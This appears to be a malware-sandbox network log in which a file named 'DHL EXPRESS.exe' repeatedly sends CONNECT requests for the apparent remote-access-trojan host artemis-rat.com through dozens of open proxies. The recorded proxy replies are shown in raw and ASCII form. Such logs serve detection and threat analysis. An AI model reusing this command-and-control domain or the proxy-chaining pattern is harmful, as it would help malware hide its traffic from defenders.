Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.8	52534	43.133.74.172	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.857172966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.8	52614	104.21.102.95	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.858273983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.012612104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.8	52075	3.10.93.50	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.859100103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.154846907 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.8	52552	5.135.137.13	59124	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.864240885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.519941092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.460062027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.331239939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097323895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.894140005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.597223043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.909528971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.515044928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.8	50561	45.234.100.112	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.865250111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.8	52642	104.25.231.184	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.866873026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.020908117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.8	52432	216.137.184.253	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.872833967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.677949905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.403012037 CET	965	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:51 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 73 65 6e 61 2e 63 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.8	52574	5.61.33.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.875626087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.8	52495	143.64.8.21	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.879364014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.415636063 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.8	50625	94.154.152.4	8079	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.880875111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909701109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.911191940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909899950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.909503937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.909789085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.911613941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.913077116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.911439896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.8	52525	61.178.152.31	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.882795095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.239398003 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.8	52580	8.142.3.145	3306	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.928123951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.8	52131	157.25.92.74	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.928796053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.250377893 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a 33 36 3a 34 39 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 17:36:49 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.8	52571	103.177.9.104	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.934019089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.288413048 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.8	52498	156.67.217.159	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.934343100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.316973925 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.8	52488	60.12.168.114	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.934345961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.374003887 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 18:15:33 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.8	52662	104.23.126.8	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.934794903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
